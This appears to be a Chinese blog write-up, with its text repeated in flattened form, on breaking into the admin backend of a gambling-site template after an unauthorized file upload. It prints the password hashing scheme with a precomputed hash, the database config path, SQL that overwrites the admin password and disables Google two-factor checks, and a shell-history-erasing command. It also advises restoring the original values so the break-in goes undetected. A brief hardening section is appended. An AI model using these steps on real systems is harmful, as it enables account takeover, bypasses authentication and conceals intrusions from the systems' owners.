记某模版菠菜管理后台登录思路
字数 1143 2025-08-23 18:31:18

菠菜管理后台登录绕过技术分析

前情提要

在测试某菠菜模板系统时,发现存在未授权任意文件上传漏洞,已通过该漏洞获取系统源码。目标是登录后台查看数据,发现该系统存在两种登录方式:

  1. 仅需账号密码的登录方式
  2. 需要账号密码+Google验证码的登录方式

无Google验证码的后台登录绕过

密码加密方式分析

通过源码分析发现密码存储格式为:

md5(md5(password明文)@用户名)

例如密码"123456"的加密过程:

  1. 先计算md5("123456") = e10adc3949ba59abbe56e057f20f883e
  2. 拼接用户名(假设用户名为admin):e10adc3949ba59abbe56e057f20f883e@admin
  3. 再次计算md5:md5("e10adc3949ba59abbe56e057f20f883e@admin") = dd95a7354329cf3c2586446076f4ca3d

数据库连接信息获取

数据库配置位于:

/www/server/webapps/xxxxxxx/webapps/ROOT/WEB/WEB-INF/classes/spring/datasource-master.xml

密码修改步骤

  1. 使用冰蝎等工具连接数据库(注意操作安全)

    • 先执行:set +o history history -d 1 防止命令被记录
  2. 管理员密码存储在gameplat_sc_data数据库的admin

  3. 记录原始密码hash(便于后续恢复):

    SELECT password FROM gameplat_sc_data.admin WHERE account='admin';
    
  4. 更新密码为已知值(如123456):

    UPDATE gameplat_sc_data.admin 
    SET password='dd95a7354329cf3c2586446076f4ca3d' 
    WHERE account='admin';
    
  5. 使用新密码123456登录后台

  6. 查看完毕后恢复原始密码:

    UPDATE gameplat_sc_data.admin 
    SET password="原hash值" 
    WHERE account='admin';
    

带Google验证码的后台登录绕过

验证逻辑分析

通过源码分析发现登录流程:

  1. 首先查询数据库是否开启Google验证码配置
  2. 如果config_value为'1'则开启验证,为'0'则不验证

相关表和字段:

  • 表:gameplat_sc_data.config
  • 字段:config_key = 'is_bound_google_auth'
  • 值:config_value(1或0)

绕过验证步骤

  1. 关闭Google验证:

    UPDATE gameplat_sc_data.config 
    SET config_value='0' 
    WHERE config_key = 'is_bound_google_auth';
    
  2. 然后按照无验证码的方式修改密码并登录

  3. 查看完毕后恢复验证设置:

    UPDATE gameplat_sc_data.config 
    SET config_value='1' 
    WHERE config_key = 'is_bound_google_auth';
    

安全建议

  1. 数据库安全

    • 数据库连接信息不应明文存储在配置文件中
    • 应使用加密存储或环境变量
  2. 密码安全

    • 使用更强的加密方式(如bcrypt)
    • 加入随机salt防止彩虹表攻击
  3. 验证机制

    • 关键安全配置不应仅依赖数据库标志位
    • 应实现多因素认证的强制验证逻辑
  4. 操作审计

    • 所有数据库操作应记录日志
    • 敏感操作需要二次验证
  5. 漏洞修复

    • 修复未授权文件上传漏洞
    • 对用户输入进行严格过滤

总结

本文详细分析了菠菜管理后台的两种登录方式绕过技术,关键在于:

  1. 理解密码加密算法
  2. 定位数据库配置和关键表
  3. 通过SQL修改关键配置和密码
  4. 操作后恢复原始设置避免被发现

这种技术可用于渗透测试中的权限提升,同时也揭示了此类系统常见的安全隐患。

菠菜管理后台登录绕过技术分析 前情提要 在测试某菠菜模板系统时,发现存在未授权任意文件上传漏洞,已通过该漏洞获取系统源码。目标是登录后台查看数据,发现该系统存在两种登录方式: 仅需账号密码的登录方式 需要账号密码+Google验证码的登录方式 无Google验证码的后台登录绕过 密码加密方式分析 通过源码分析发现密码存储格式为: 例如密码"123456"的加密过程: 先计算md5("123456") = e10adc3949ba59abbe56e057f20f883e 拼接用户名(假设用户名为admin): e10adc3949ba59abbe56e057f20f883e@admin 再次计算md5: md5("e10adc3949ba59abbe56e057f20f883e@admin") = dd95a7354329cf3c2586446076f4ca3d 数据库连接信息获取 数据库配置位于: 密码修改步骤 使用冰蝎等工具连接数据库(注意操作安全) 先执行: set +o history history -d 1 防止命令被记录 管理员密码存储在 gameplat_sc_data 数据库的 admin 表 记录原始密码hash(便于后续恢复): 更新密码为已知值(如123456): 使用新密码 123456 登录后台 查看完毕后恢复原始密码: 带Google验证码的后台登录绕过 验证逻辑分析 通过源码分析发现登录流程: 首先查询数据库是否开启Google验证码配置 如果 config_value 为'1'则开启验证,为'0'则不验证 相关表和字段: 表: gameplat_sc_data.config 字段: config_key = 'is_bound_google_auth' 值: config_value (1或0) 绕过验证步骤 关闭Google验证: 然后按照无验证码的方式修改密码并登录 查看完毕后恢复验证设置: 安全建议 数据库安全 : 数据库连接信息不应明文存储在配置文件中 应使用加密存储或环境变量 密码安全 : 使用更强的加密方式(如bcrypt) 加入随机salt防止彩虹表攻击 验证机制 : 关键安全配置不应仅依赖数据库标志位 应实现多因素认证的强制验证逻辑 操作审计 : 所有数据库操作应记录日志 敏感操作需要二次验证 漏洞修复 : 修复未授权文件上传漏洞 对用户输入进行严格过滤 总结 本文详细分析了菠菜管理后台的两种登录方式绕过技术,关键在于: 理解密码加密算法 定位数据库配置和关键表 通过SQL修改关键配置和密码 操作后恢复原始设置避免被发现 这种技术可用于渗透测试中的权限提升,同时也揭示了此类系统常见的安全隐患。